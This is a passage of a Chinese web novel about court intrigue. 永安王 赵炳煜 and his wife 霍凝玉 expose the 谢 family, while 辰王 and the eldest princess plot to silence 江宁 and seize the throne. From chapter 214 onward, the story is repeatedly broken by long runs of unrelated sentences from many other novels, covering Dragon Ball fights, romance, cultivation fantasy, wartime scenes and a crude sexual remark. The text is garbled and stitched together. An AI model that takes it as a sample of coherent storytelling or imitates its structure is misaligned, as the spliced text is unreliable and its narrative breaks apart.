“侄儿猜,有两个可能的原因。一是江宁竭力自荐把霍家拉下马,给辰王插手户部的机会,目的就是报她所谓的失亲之仇。
二是辰王的确看上了户部尚书这个位置,推谢家出来打前锋,能成最好,不能成也就少个谢家这样不痛不痒的帮手。”赵炳煜分析道。
乾德帝听后,陷入沉思。
“朕知道了。让皇城司配合刑部把此案查清吧。谢家先祖于南楚也有些功劳。看在那点祖荫的份上,给谢家留个后。”
“是。”
“那三十万两银子,是你干的吧?”乾德帝想到谢家父子得知银子是从谢家别院搬进宫时的表情,就忍不住想训赵炳煜两句,这么大的事,居然都不提前与他说一声。
“是,侄儿随时留意着谢家的动向。银子是谢勋私下贪墨的,但他没有占为己有,而是用来嫁祸给霍家。
谢正阳利用自己巡城司使的便利,深夜将银子放入霍家别院一个废弃的地窖,侄儿也用同样的方式,把银子从霍家别院搬去谢家别院。”赵炳煜老实交代。
”你小子,坑人也坑得这么有水准。”乾德帝好笑,“这是不是你们早就设好的计谋?”
乾德帝把前前后后一串,就想明白了。
“果然姜还是老的辣,什么都瞒不过您。”
乾德帝亲自审案,接着谢家被抄的消息瞬间传遍京城。
大公主得到消息时,正拿着一个小鼓在逗她最宝贝的儿子。十个月的孩子,已经能扶着大人的手走路了,大公主正逗着他迈步。
“公主,要不要扶持一把谢家?”高义轻声问道。
“不用。”赵明月头都不抬一下。
“公主,那**会不会在重刑之下乱说话?”苏嬷嬷担心道。
赵明月抱起儿子,眼神幽暗:“她不敢。高义,想办法给江宁送一颗解药去。让她看到本公主这个义母对她的疼爱。”
“公主高明,让她以为你还用得着她,正在想办法救她。”苏嬷嬷笑道,公主此举真是高明。
苏嬷嬷立刻进内室取了一颗药丸交给高义。
高义带着药丸离去,去安排。
而辰王得到这个消息,本想进宫帮着说说情,但走到半路,他又回转。
父皇别看老了,一点不糊涂,他一出面就知道谢勋的所作所为就是他指使的。
虽然父皇肯定也会如此猜测,但他不到父皇面前去找不自在,也就能躲过父皇的盘问。
气死他了,这点事都办不好,被人摆了一道都不自知。
蠢货!
回到王府,曾永信已经在书房等着。
“见过王爷。”
“曾先生,谢家已经废了。”辰王有些郁闷。
“王爷,谢家于我们用处本也不大,这次他会失败也在意料之中,只是没想到霍家早有布局。问题出在哪儿,属下却没有半点消息。”曾永信很懊恼。
他在辰王身边多年,向各府安插眼线,可就是霍家安插不进去。
霍家人口简单,奴仆都是老人,基本不换。
而永安王府更安插不进去,原来的靖王府,他压根就没安插,一个心思不在权利和政务上的王爷,根本没有任何威胁。
可永安王一个刺杀西凉太子的功劳就让他一步登天。
那时他才警觉起来,再准备安插人手,才发现永安王府的人都是他的亲信,外围的奴仆根本接触不到核心,连永安王什么时候出府什么时候回府都不知道,一点用处都没有。
“想个办法,让那**早些死。”辰王端起茶杯,轻轻啜了一口,说道。
“是,属下这就去安排,反正我们想要的东西都已经写好,留着她也是个祸害。早些死,对我们反而更有利。只是不知道她会不会受不住刑,说出来。”曾永信接下命令。
“所以动作要快。”辰王眼神一凌。
“是。”
曾永信立刻出了王府。
走到半路,正好看到谢家人被官差押往刑部大牢。
曾永信带着两个随从故意走近。
“赵大人,谢家这是犯了什么事?”曾永信笑着上前打个招呼,故意摆出好奇的样子问道。
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>而他的一个随从,却趁一个机会,发了一个小小的如针一样的暗器出去。
因为太过细小,没人留意。
江宁此时的心里恨意滔天,眼里燃烧着熊熊烈火。
为什么?
为什么她最终走到这一步?
她被大公主收为义女,又顺利嫁入了谢家,等着她的不应该是伯府的当家夫人吗?
可是她却连怀两次孕都小产了,最终导致终生不孕。
老天不公。
在霍家时,她努力学习,样样都做得比霍凝玉好,就是想有朝一日,能嫁入高门。
可是现实给她重重的一巴掌,她十三岁就有人上门提亲,可是都是看在她是霍家义女的身份上,来的都是一些小吏家的公子,没有一个真正的官家。
她才幡然醒悟,不管她有多优秀,单是身份一条就是她永远也跨越不了的鸿沟。
“嗯!”后背突然传来一股刺痛,让她忍不住发出轻轻的低吟。
“宁儿,怎么了?”谢正阳走在她前面,听到了江宁的这一声低吟,转过身来,关心问道。
直到现在,谢正阳对江宁仍然关怀备至。
他是真心爱护妻子。
可是这次谢家入狱,宁儿也躲不过了,他心里自责不已。
为自己办事不利而后悔。
都是他太大意,以为做得悄无声息,谁知道还是让人发现了。
他已经知道问题出在哪里。
他在放那些银子时,引起了永安王的注意,结果被永安王摆了一道。
可是他足够小心,永安王是怎么发现的?
江宁并没有因他的关心而好受些,反而用恶狠狠的目光看他一眼。
“曾先生,你还是少问为妙。”赵玉麟只是淡扫了曾永信一眼,继续押着人去刑部大牢。
赵炳煜带着霍凝玉回到王府。
霍凝玉总有点心神不宁。
“怎么了?”赵炳煜发现了她的异常。
“夫君,你说江宁会不会被大公主或者辰王灭口?”
“有可能。”赵炳煜对此并不在意,一切都在他的掌握之中,辰王和大公主手里都握着什么,他一清二楚。
江宁的价值已经被大公主和辰王利用完。
“要不要让她稍迟些死?”
“为什么?”赵炳煜不明白。
第一卷 第214章 谢正阳后悔不及
“我想见她最后一面。”
“好,我带你去。”赵炳煜知道妻子的心结。
她前世的悲剧全是江宁母女造成的,杨氏已死,现在江宁也快要死了,死前确实有必要告别一下。
吃过晚饭,赵炳煜让府里的轿子抬着霍凝玉来到刑部天牢。
天牢关的都是重刑犯,一个个都单独关押。
作为长公主活了二十二年,肆月的优越感,自恋的程度,即便是万天佑也不及的。
万天佑不去理会一脸懵逼的肆月,收拾了几件换洗衣服,并把肆月的衣服一起装进包里。
自封神之战后,西方教算是打开了在东土传教的门路,从式微到能与玄门争一席之地。与此同时,三清命门下到了等级的弟子开宗立派,进入俗世传教。
杨毅摆了摆手,绝不吐露,并与万天佑结束这个他不能提及的话题。
“拿了它们回去,没准会连累你们全家。”云清眼眸和少年对上,他急促地喘息,目带凶狠地望着自己,仿佛自己再多说一句,他就会冲上来撕扯自己的皮肉。
“现在体温是多少?”墨念记得她摸时盛的额头时,感觉温度偏高。
青简作为六界史料官,他说有的事肯定有,说没有的事肯定没有,他没说过的事一定也没有。
甚至可以说是韩说是刘据的主要政治敌人,而韩说的死,正是巫蛊之祸的时候被刘据斩杀,所以刘据这一系与韩家,有着斩不断理还乱的纠葛。
杨悠何咬着牙拼命地控制自己:“现在是你杀我最好的时机。”混元御水鞭白芒一怔,护在她面前。
这就有了之前陈骁接到的那个电话,当陈骁听到对方是国际代理销售的时候,也是一愣,直接就拍了一下脑门。
她冷笑一声,二话不说,蛇尾盘地,冲着大雾,猛地一弹,整个身子扎了进去。
“轰!”的一声巨响,以魔人布欧为中心的方圆数公里升起了一个巨大的蘑菇云。
“他就是界王神。”短笛的背后响起一个声音,是那个叫做杰比特的人。
“刚才被人搅了,现在,我们继续!”她一把揽住唐昊的脖颈,很霸气地吻了上来。
只是现在,大多数都已经消失,成为黑海的组成部分,在这片不会干枯的记忆之海中,成为推动未来的力量。
吕清媚不露声色心里却是急切无比,这才没多久的功夫,就有两人来到此地,通过观察天布棋盘她知道还有不下三个光点向着这边赶来,除非这三个光点中有尚景星,不然局面只会越来越糟。
“你叫什么名字,哪一宗的。”沙哑的声音传来,黑袍人并没有转身。
这一手惊人箭技,将平曰目空一切,劳资天下第一的宁海东惊得张大嘴巴,久久合不拢。
随着魔人布欧的意识回到身体,这里也发生了剧烈的晃动,周围的空间急速的发生变化,朝着这边压了下来。
就在他想要看尽这个空间的一切时,空间内突然风起云涌,一道道金色光芒穿插而入。
而且,这一场争宝、夺宝大战来势凶猛,几乎瞬间,便波及到了阴曹地府的每个角落,激烈异常。
“当然!这些都是猜测。”龙猫露出平常非常欠揍的那个微笑,看得林艾直咬牙,很想打这货一顿。
话音一落,那个长耳朵的弟子浑身一阵哆嗦,满头大汗,双腿发软,被吓得一屁股坐在了地上。
第一卷 第215章 江宁死
“大夫,把她弄醒。”赵炳煜吩咐。
这点大夫可以做到,拿出银针,扎了几个穴位。
赵炳煜让人搬了个椅子过来,让霍凝玉坐下。
江宁幽幽转醒,睁开眼睛,就看到自己面前坐着肚子高挺的霍凝玉。
她眼神一凝,她怀过两次,两次都小产。
可恶。
虽说人有时候为了生存,是什么都能吃的,但是青虞此时此刻,显然是真的放不下这个架子,她……她真的下不了嘴,更无处下嘴。
她也曾经取笑过这个男人,在一般人的眼里,如果做一件事总是失败,那么就说明,他不适合做这件事情,不如适时的放手,去做其他事,说不定还能在其他方面有所作为。
只可惜九师父那古怪的性子,绝对不允许她拿不完美的丹药出去卖。
寒先生痛苦的闭上眼睛,长长的、用力吐出一口胸中浊气,才勉强平复了心中的怨恨。
“我没有找到!而且看样子,顾博士并没有研究出疫苗。”白浪肯定的说。
就在她以为自己会死去的时候,男人却松开了手,她张嘴大口大口喘气,望向男人的目光中充满了无限的悲哀。
在这场比赛中,云若寒、冷羽沫和秦酒齐齐爆发领域,加上慕颜的辅助。
简汐脸色大变,她接过病历来翻看,越看手越抖,到最后连病历都拿不住。
可是,就是这些精英,竟被跟他们同等数量的【喰鬼】攻击的左支右绌。
其余的人见状,脸上冷汗直冒,顿时也不敢反抗了,连忙朝孤竹走过去。
能够留在镇魔司的人,都是实力强横的高手,或者是有成为高手潜质的人。
以韩青为首的禁军高层,出现在众人的视线内,他们面朝皇后王琇抱拳作揖。
周一下午,还是在电视台的会议室。强森和季宇宁虽然是初次见面,但他表现的非常的客气和热情。同样的季宇宁也非常的热情,显得性格非常的开朗。他们俩表现的就好像是认识多年的老朋友。
穆芸儿总共就有两只手,一只手给花花牵了,剩下一只手该牵谁?
赵三公子听着大堂闹哄哄的声音,有些羞恼,这闹开了怎么得了?他的名声还要不要?
这几日,他发现曾凡似乎特别喜欢和那些家贫的年轻学子混在一起,还常常背地里打探人家的家庭情况。
沈浩在楼梯上一阵翻滚,脑袋狠狠磕在了墙壁上,顿时血流如注。
这点他早就知道了,并且也早就猜到了沈稚柚爱人调走,她这个妻子也会跟着离开。
陈翠娟年纪大了,怕晚上爬上爬下不安全,就让她住楼下朝阳的那间卧室。
同时也说明她没有那种清高的想法,认为做生意就是上不得台面的事。
墨家兄弟多少有些放不下,原来是谁的孩子真的很重要,是苏如花的孩子,他视如敝履,是苏如玉的孩子,他怕是会视为珍宝吧?
上次,王辉提出,要把张建那些产业产生的利润分给苏阳。但是苏阳拒绝了。
进入宇宙船之前,雷战回身对所有人挥了一下手,表示感谢之后,舱门关闭,宇宙船缓缓的升空。
别说让白雪当酒吧驻唱歌手,就是让白雪当酒吧的经理,那也不为过。
林颦将头从楚风的怀里抬了起来,那一张美丽的面庞飞起了惹人怜惜的红晕,她的眼眸里流露出了几分羞怯,那一双柔软而温暖的手却还是轻轻地握着楚风的手。
第一卷 第216章 霍家人一起做梦
霍鸣羡惊出一身冷汗,猛地坐起,看到妻儿在身边,才知是一场梦。
那带着倒勾的鞭子无情地抽在他身上,带起片片血肉。他痛到无法呼吸。
他再也睡不着,披了衣服,走出院子。
霍鸣昶被梦里的剧痛折磨醒,大口喘气。
办公室里,陈长安一脸满意的不断点头,十分赞同于澄的这番建议。
孟薇可不知道叶子川早就替她想得这么周全了,眼看着叶子川都起来了,想到这古代重礼,教她礼节的嬷嬷也的确说过成亲第二日敬茶的事,虽然算不上早起,但也不能太晚,让长辈等着可就不好了。
所以哪怕她【物质操作系】的魔力转化效率很低,通过消耗大量的魔力,仍旧能让【投石问路】这种最低级的魔杖,发出极强的效果。
实际上,我们律所除了朱雀外,还有十几位来自BJ的律师,但他们都和朱雀一样,己经安居乐业在上海了,根本没法再回BJ去。
不过,芮熙要是回来了,肯定会先和自己联系的,又怎么会先跑去跟男生约会呢?
孟薇本以为她表现的这么直白,会让二人恼羞成怒,却不想二人竟然露出了一个‘你就是羡慕嫉妒恨你也没有’的示威眼神,又相互以刚才的姿势扶着那水桶腰相携出了厨房。
正好这时酒吧把酒送了上来,林怀恩试着喝了一口,是一种很淡的白酒,和清酒很像,但有淡淡的甜味。
有刘村长在,刘宁雅直接就说的明白,他不仅仅是代表自己,更是代表整个板凳村的人呢。
这话可毫不客气,她也毫不掩饰那点无奈,换了其他有脾气的大咖,这时候估计过来抽她的可能性都有,楚青衣却只是温和的笑,在距离她最远的位置坐下,声音越发的轻了。
而且这李全刚的牙齿也被抽飞了好几颗,他一下子就栽倒在了地上,同时,这家伙双眼冒金星起来。
李青在万剑归宗里面参悟得差不多了,实力再度增强,再参悟下去也没有太大的作用,便一刀斩出,轰击在万剑归宗大阵上面。
一眼看不到边际的浮云,尽数化作各种异禽,在朱雀的带领下袭杀恶魔。有许多恶魔展开双翼,想要从四面八方冲出去。
怜湖迎来了怜湖宾馆落成之后开放迎客的日子里最寂寥的一个夜晚。
虽如此,但难能可贵的是,江秋歌与水漫儿这两人对他们各自的修为境界并不在意,而这一点修为境界上的差距也丝毫没有影响到他们二人的感情,反而是让他们的感情愈发的好了起来。
帝喾以仁爱治国,他生活俭朴,品德崇高。他广施恩惠,讲究信誉。他对天下人都一律平等,他绝不违背自然规律。他还恭敬地祭祀天地鬼神,祈求神灵降福万民,因此,帝喾深受百姓的爱戴。
战神变这门绝学修炼起来非常困难,只有通过不断地修炼战神天功,凝聚出大量的战神之力,才能够成功使用。
一声惊叫,处于张虎和张三两人中间的冯艳慧痛呼一声,她的右臂已经刺着一根涂抹着毒药的银针了。
“我之所学,极为庞杂,三教九流,无所不通!这心眼通乃是对付幻术的一种极佳之法,又岂会错过?”毒圣笑道。
第一卷 第217章 八百里加急
九月初二,一骑快马从西城门直奔入城。
“八百里加急军报。”
马上之人背上插着一杆旗帜,一看就知是驿馆驿兵。
百姓纷纷让道。
驿兵一路畅通直达皇宫金銮殿前。
虽然那边的鲁阳不知道发生了什么事情,不过鲁阳也没有说什么,只是连连的点头。
闫妄很有自知之明,以他现在的实力,能到前十,就已经算是不错了。
余欢越来越觉得NBA就像一个大公司,选秀完毕之后的培训就像是集体的新员工入职培训。
尽管江子琪是今天才知道这个规则但这不代表有人提前知道了规则然后先下手为强。
钟灵石和李凉虽然不算高大,但是加一起也有接近三百斤,可是李柏天用双臂左右夹着俩人,就好像抱着俩毛绒娃娃,丝毫不见费力。
亚希-卡森自然是知道余欢上一场比赛在斯坦福凭借抢断打崩了对手,今天他就要来断余欢的球,从对方最强的地方击败对方,这是给人最大的心理打击。
鲁阳坐着车马不停蹄的朝着秦轩所在的地方赶的时候,那边的张有德张有仁也连夜的联系了城里面的熟人,带了人来搞秦轩。
“有道理!但是,屠治服他们会来找我们麻烦的。”梁真真提出了自己的疑惑。
秦轩说完了这句话,旁边隔壁的摊主立刻殷勤的凑过来给秦轩介绍了几个专门切玉石的师傅。
殷枫瞅了那两人一眼,神色如常,他没有因此而动气,因为没有必要。
现在,没有猴子出来,反而是看到了一只睡着的猴子,那岂不是说机会来了?
他猛的鼓起肌肉,一拳悍然打来,身体周围环绕着呼啸的劲风,冷冽的拳风,甚至吹得周围众人的脸如刀割一般,似乎带着虎啸之音。
但这片空间的规则融合,却是无比完美,让人根本找不到半点破绽,想要剥离时间碎片,就更是天方夜谭。
“穆辰东,你就放弃吧!此时的我,拥有你跟同等的实力,我杀不死你,你也杀不死我。我们可以这样相互追杀到天荒地老,但是我随时都可以将人类葬于海底,你救不了他们。”潘多拉说道。
等唐枫洗刷完毕来到餐厅,其他人早已就位~庞氏少主庞少龙带着他‘武堂’的十五个兄弟围坐一桌,招待所的李所则和少尉董云磊、刚子、灿东、庄晓以及孙志辉等十二人坐在隔壁一桌。
第二日一早,贾清一觉醒来,发觉自己睡在偏院的床上,绕了绕头,贾清喊道。
“功法,我给你的是功法,你也要给我一个足以媲美的功法。”姜玉轩随意地问道。
“我是姜……太初!”姜玉轩略微犹豫说道,他现在还是黑发黑眸的模样,所以就随意给自己起了一个名字,姜姓需要保留,至于太初……太初乃是混沌,混沌之后是洪荒,自己拥有了一个洪荒世界,那就太初好了。
水灵盈月闻言,仔细打量了一下风如潇,只见对方是一表人才,相貌英俊无比,一身白色衣服,陪配上那修长健美的身体,真是精神十足,意气风发。
七万精锐江淮军,折损了四万,杜伏威最后只狼狈的带着不足三万江淮军离开竟陵。
第一卷 第218章 太子薨(一)
赵凌哲立刻跪到床前:“父王,你一定要好好活着,你要看到孩儿长大,孩儿已经八岁,你再坚持坚持,孩儿就九岁,十岁了。”
叛军们看到耶鲁哈的首级,瞬间就慌了,毕竟谁才是这次叛乱的主导,叛军们心里都有数,现在主将已死,这场叛乱还如何继续?
“不用了,我准备一下之后,我还要随军攻城呢!”吕布摆摆手,随便拿起了一块碎布擦了把汗水又准备上阵。
本来要说的话,为了保证军队的战力不受到影响,做哪种事情必须要戴套办事。但是有的人图省事,或者是完全故意的,也就直接玩“中出”了。然而医疗方面也算是到位,可是也仅限于治疗疾病,对非疾病一类不予理睬。
看着师弟和师妹们都跪在地上,苦苦哀求着梁飞,他真的心动了。
“叛军还不束手就擒!你们的主将耶鲁哈,已被我国国君诛杀!”众士兵还在鏖战中,江林就骑着一匹马冲入了阵营中,他手上拿着的,正是耶鲁哈的首级。
扑哧,听到李清风说的搞笑,夏晚秋笑了出来,这个李清风真是的,你明明长得很帅好不好,怎么会长的丑呢,如果你长得丑,那销售部就没有帅哥了。
莫凡带着惊讶无比的看着眼前的老者,这人难道真的只是地仙,竟然能够推算出这么多东西来?
“在我眼中,所有误会都可以用实力摆平,刚才你擅自对我出手,已经不可原谅,来吧,我让你三招!”乌达瘪着嘴,退后了一步,拉开了架势。
梁飞大喜过望,赶紧双腿盘膝而坐,眼观鼻,鼻观心,运转神农经上的秘术,缓缓吸取灵气经由三脉七轮,再转化成修炼所需的灵力。
“难道就没有办法全带走么?这里的可都是我们的战友!”杰克紧皱眉头。
佟雪梅红了脸,“微微,你就爱拿我开玩笑,我不跟你说了。”说完就回了自己的床铺。
“那你没事不能学学?”裴峥也没看他,把青菜从冰箱里拿出来,扔给了他,让他先洗着。
——但是下一刻,她突然就注意到,自己持刀的右手猛地一紧,而原本背对自己的黄天,不知何时已经转身望着自己,而在他的另一只手里,则刚好拿着自己同伴的手枪。
随着空间一阵波动,等到杜屿眼前再次恢复明亮时,他已经回到了自己在平谷基地的住处。
“赵括,白起,这是两个对战的战将,也不知道长平之战的时候,是不是他们两个最终在较量。”林凡心中暗道,他发现这和他印象中的历史不大一样。
那个盒子里还有一条链子,有个吊坠,上面刻着树叶和动物的头,不知道是不是有什么特别的寓意。
服,大写的服,和陈双双在一起,黄天发现她总能做出一些,让人刮目相看的事儿来。等吴琳琳点完,黄天给自己点了几瓶纯正的国酒,这酒才够劲儿,今天他心情不好,就算陈双双不提议,他也打算喝几杯的。
黄天对上马家,朱慧还是喜闻乐见的,等了这么多天,才约黄天面谈,就是想让马翔冲到前面探探路的。马翔对朱慧存在偏见,但是朱慧对马翔的认识却是一针见血的,那天在酒店和听完黄天的故事之后。
第一卷 第219章 太子薨(二)
身为扶苏府的嫡长子,年龄最大的一个,扶苏老大,他老二,地位超然,这些人自然不敢阻拦他。
按照梁京白的说法,孩子留下来是个祸害,难道孩子从她跟路昂的变成她跟梁京白的,就不是祸害了?
更有江湖传言道,是大皇子层层布局,封闭了都城,最终强迫老皇帝退位的。
段宏微微一笑,伸手从身旁的托盘上取来一个玉瓶,拨下瓶塞,从玉瓶中倒出一粒橙黄色的药丸塞入段羽口中。
林余苑摆手,“秀清,我们今天来到现在,也算有一整天,你说我们坐没多久,这就过分了。”他话刚说完,就被婳姗瞪了一眼,他老实地闭上嘴,不再开口。
蔡亮可舍不得方彤被胡少爷弄死,只有把胡少爷哄高兴,这位富家大少才肯借自己钱。
因为他们进来录制, 半开放变成了封锁,全部供应给节目组来做录制。
因此黄清若也就不意外,她扣在警局里没太久,便被人保出去了。
明明她出了重大车祸,并且她是最严重的,都临近死亡了,还是超级大出血的情况。
现在,我儿子一次次挑动你法家的底线,你却屡次退让,何等的道理?
突然间,整个报价被几乎翻了一倍,听到了这个报价之后,在场的众人皆是不由倒吸了一口凉气,这也实在是太疯狂了,这简直是超越了常人的认知了,十亿晶币相当于一个皇朝一年的收入,如今却被用来购买一枚圣源。
白恬劝说不成,只好在心里默默地祈祷着,希望苏萝可以凭借着自己雷厉风行的手段度过这次的危机。
林夏沫照顾他这么久了,对于他的生活习惯之类的,也是很了解的。
“并非如此,是臣二人不想参与朝廷,朝中事务繁琐,伤心劳力的。”容景牵起孙晴依的手,她跟着点了点头。
陈浩旭原本是陈家年轻一辈中的佼佼者,也是最有希望和资格继任家主的,但是,却被陈星月抢走了自己的风头,让自己沦为了家族之中的笑料。
男孩艰难的喘了口气,嘴角血流不断,眼睛慢慢闭上,额头上翘起的一绺头发被缓缓涌出的血浸湿。
可是,这圣石值吗?当然是值得了,一块圣石别说是一万晶石了,就是十万晶石的价值都是比不了的。
“没事,我可以自己过去,麻烦您了。对了,不用找了。”着急见司正南的安柒甩下一张百元就下车了。
直到回家,顾雪脑海里面都是那一个场景,似乎还没有从安娜亲吻顾孟的场景里面走出来,顾孟并没有拒绝,想来心里也是欢喜的。
所以张易只好微微弯腰,以掩饰自己的特殊状态,同时抬起头看向邱勇,就要解释。
这样,才能为打造美好的工商2班贡献出一份,属于自己的力量。
黑皮衣,是一款能让人变得很神秘的装束,其次能够很好的勾勒出身材的线条,减少一定的风阻。
楚炎身形一闪,瞬间斩出漫天剑潮,双眸之中逆神焰冲涌而出,化为滔天火海,将整片虚空都焚成赤白之色。
“公子不必担心,玄帅的安全应该不会有问题,安公应该只是暂时软禁了玄帅,待一切成定局之后,他还是需要玄帅来帮他稳定大局的!”刘裕看了一眼卫阶,低头说道。
这是楚炎斩杀的第十位先天境强者,此时,他已经全身沐血,如同一个血人。
“拓跋当家并未逗留,将东西放下之后就回寿县去了!”端木和接着说道。
虽然张易跟苏可儿没少像其他情侣一样逛街、去游乐场玩什么的。
另一方面,要灭龙战,也要付出一定的代价,因此虽说三大霸主都有这样的实力,但谁也不愿单独行动,那样只会便宜其他两大霸主。
楚炎一拱手答道,他很清楚,在这尊恐怖存在面前,自己没有一丝机会逃走。
武涛脸上露出一抹笑容,眯眼上下打量着叶飞,那眼神儿怎么看都像老屠夫挑猪,总让人觉得不怀好意。
“你等一下,我先打个电话!”孙悟空第一反应就是想拨打云城主的电话号码,他必须先筹到60万妖力水晶,将白灵冰救出来先。
上官傲从龙椅上起身,走到母亲面前,勾唇笑道:“母后,先食言的人是母后你吧!”虽和颜悦色,但却给人一种隐忍着怒气的感觉。
难道德国人投掷的神秘武器掉进水里去了,他赶紧招来在自己旁边的军官一问才知道自己的判断没有错,德国人投掷的神秘武器确实掉进了大海,而且没有爆炸,军舰上的水兵和军官只是被吓了一跳。
“哈哈,难怪孙老师要和白灵冰独自上山,原来是跑这里约会来了。”周泰也跟着笑道。
一望无际的草滩上嵌着一湾湛蓝色的湖,风平浪静宛如一面巨大镜子的湖水映出蓝天白云青山绿树的倒影,忽然一阵风吹过,湖水微波荡漾,像一朵朵涟漪,一切美不胜收犹如人间仙境。
又是满地的尸体,又是熟悉而又陌生的人,为什么每次都要有离别,朱灿的心情很不舒服,唐依依更是如此,原本因为母亲虽然没有复活,但是还有相见的机会而开心的心情,又被这满地的尸体拉回了残酷的现实。
他们完全没把贺青放在眼里,他们当然更不知道贺青的真实身份。
不料虽然空军的侦察机来了,但是却不得不因为德军召唤而来的战斗机而被迫匆匆中断了侦察工作,而补给部队却迟迟没有将弹药和油料给送上来,甚至连他们的影子也不见。
第220章 辰王与大公主合谋
“大皇弟,是你想要这南楚的江山,不是本宫想要。本宫提点你,让你豁然开朗,已是莫大的帮助。你可不能得寸进尺哦。”
赵明月脸上的笑容比辰王更加明媚,配上她美艳的脸庞,完全看不出她是在把人推向深渊。
辰王的笑容僵在脸上。
“秦将军,如果你想顺利娶到大皇姐,这事你来做最合适,只要你能完成此事,本王保证一定让大皇姐和离,并赐婚于你们二人。”辰王脑子一转,又把目光盯在秦苍霆身上。
“不不不,辰王殿下,如果臣能做到这事,我秦家可能就要大祸临头,满门抄斩了。”秦苍霆连连推辞。
他怎么可能接下这种徒手握利剑的任务。
他要是做到了,辰王还能对秦家放心?
一个臣子居然能要一个帝王的命,换哪个君王都不会留。
到那时,他与明月更加不可能。他们的计划更不可能实现。
辰王收起再也挂不住的笑容:“大皇姐,你们就是如此帮本王的?”
“大皇弟,你别忘了,你手里没有多少武力,现在皇太孙才是正统。
靠你手里的文官能起什么作用,不过是让你在朝政上多些建树罢了。
最关键的时候,你全要仰仗秦家。而秦家之所以会帮你,可是看在我赵明月的面子上。
你不能什么都不做,只想坐享其成。”赵明月并不惧他的冷脸。
她可是他的嫡皇姐,要不是她是女人,哪里有辰王在她面前摆冷脸的机会。
辰王被噎得无话可说。
“还有一事,秦家不可能白养人手,你还得给秦家一笔银钱,不然那些人可留不住。”赵明月又继续道,且意有所指,辰王听得懂。
“大皇姐,你不能什么都靠臣弟啊。臣弟的开销已经很大,要是那些人还要臣弟来养,恐怕臣弟都要去讨饭了。”听得这话辰王立刻哭穷。
“哼,你别以为本宫不知道,那个叫廖含章的被你安排在彭城县做什么。少在本宫面前哭穷。”赵明月冷哼。
她早就查清楚,辰王的胆子真大啊,野心当真不小。
野心大才好,才能成为她的马前卒。
“你......”辰王目眦欲裂,她居然这事都知道。
此时的辰王对赵明月有了新的认知。
这个大皇姐太超出他的意料。
他又看向秦苍霆,难道秦家的势力已经渗透得这么深了?
“你不要想太多,我们是一条船上的同渡人,我与苍霆还等着你赐婚呢。本宫这辈子不求别的,只求与秦郎长相厮守。”赵明月又明媚笑道,打消辰王的疑虑。
辰王猜忌的心稍稍放下。
“你要多少?”辰王肉疼问道。
“不多,只要三十万两银子即可。”
“什么?大皇姐,你这是明抢啊,臣弟哪里来那么多银子?”辰王被赵明月的狮子大开口给惊得失了冷静。
“少给本宫装穷,你手里的那些地方官,每年都没少孝敬你吧。要不要本宫把名字都一个个报出来?”赵明月冷笑。
辰王被气得深吸几口气。
“最多二十万,再多没有。”辰王咬牙道。
他手里还紧得很呢。
“大公主,先拿二十万,希望辰王的动作能快些,别把事情拖得太久,越拖,皇太孙的年纪就越大。”秦苍霆按住还想说什么的赵明月。
两人把一个唱黑脸一个唱红脸演得十分到位。
“那就先二十万吧,希望能养得起你手里的那些人。”赵明月露出微笑,却带着不满。
辰王回到王府,立刻找来曾永信,把今日与赵明月相见所谈之事都说了一遍。
曾永信听得直皱眉。
“殿下,看来大公主一点亏都不想吃。”
“是啊,她帮本王,却是带着条件,等价交换。”辰王感觉自己被赵明月牵着鼻子在走。
“哎,她毕竟是嫡大公主,身份让她有足够的资本和骄傲。”曾永信只能如此安慰。
大公主身份比王爷还要尊贵,要不是她是女子,根本没有王爷的机会。
“不过她的提点却是让本王清醒了不少。”辰王想到如果按父皇目前的身体,他还要坐在那个位置上至少两年,而赵炳煜手里的那个金牌,能让他无往不利,这才是最大的麻烦。
“王爷,此时正是最佳时机。”曾永信想了想说道。
现在正值南楚与西凉交战之际,皇上的心思都在战场上。
“此话怎讲?”
“王爷,皇太孙的优势有三点,一是永安王的支持,二是忠勇伯的支持,三是坚持立嫡的几个老臣支持。
现在忠勇伯去了战场,这一场仗西凉来势汹汹,短时间不可能结束。而老臣也所剩不多,我们只需想办法让几个家伙告老。
最大的麻烦就是永安王。我们可以给永安王找点事做,把他调出京城,只要让他半年内不回京,就足够我们行事。等他回来,一切已尘埃落定。”曾永信分析道。
辰王听后,陷入沉思,眼睛微眯。
“曾先生所言极是,就这么办。
你再去信给廖含章,让他加快些脚步,本王需大量用钱。
第一步先让几个老臣告老,第二步,宫里的人好好安排,此事本王与母妃商量。
至于赵炳煜,怎么也要等永安王妃生产后,才能把人支得走。可先计划好用什么借口。”辰王拿定主意。
不能等了,赵炳煜实在太得父皇宠信。
辰王与大公主私下见面的事,当晚就传到了赵炳煜的耳朵里。
但他们究竟说了些什么,不得而知。
“怎么了?”霍凝玉见他吃饭都不认真,有一下没一下地扒着饭,面前最爱吃的菜都没见他夹几筷子。就知道他在想事情。
“没什么。来,多吃点。”赵炳煜夹了一块水晶虾放到妻子的碗里,他不想让妻子操心。
她现在最大的任务就是养胎,平安把孩子生下来。
“你不说我也知道。太子一去,辰王肯定蠢蠢欲动。大公主还等着他上位后给她和秦将军赐婚呢。”霍凝玉把虾塞进嘴里。
“凝玉就是聪明。可惜没有探到他们的计划。
而且大公主早就不是你前世所认识的她了。
这一世,她有了儿子,还有了秦家做后盾。更重要的是江宁留给她的东西让她信心倍增。”
赵炳煜早就不依赖霍凝玉的前世所知。
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第221章 夫君,我有一计
“在前世,皇伯父还有几个月就要......”霍凝玉不好把后面话说完,但赵炳煜已明白。
“我会加强皇伯父身边人的排查。”赵炳煜坚定道。
“前世,他是病的,现在他精神尚可。”霍凝玉以为他误解了。
“不,皇伯父的身体确实大不如前,毕竟年纪大了。如果这个时候,再有人对他下手,他根本顶不住。”
“夫君,你是说辰王可能会向皇伯父下手?”霍凝玉惊问。
“有可能。现在太子一死,霁王又被贬。目前他最大的障碍就是皇太孙,而皇太孙本身对他的威胁并不大,而是我与皇伯父。
只要皇伯父一死,他再拿出江宁留给他的东西,就是我也没有办法。”赵炳煜手里的令牌也不是万能的。
令牌的作用无论如何也越不过皇帝亲自所写的圣旨。
夫妻俩都沉思起来。
“夫君,我有一计,但需皇伯父配合,不知他会不会答应。”霍凝玉灵光一动。
“你说。”
“如果辰王对皇伯父下手,我们可以让他得逞。
当然这个得逞不是真正得逞,而是让辰王以为得逞。
到时再给辰王一个措手不及,同时也可借此把辰王踩入泥里,让他永远也无法翻身。”霍凝玉说道,不自觉握了握拳头。
夫君考虑事情总会替皇上多考虑,而她却不会。
前世害她家人的间接罪魁祸首就是辰王,谢家不过是他手里的刀罢了。
赵炳煜听后怔怔望着霍凝玉:“你想辰王死?”
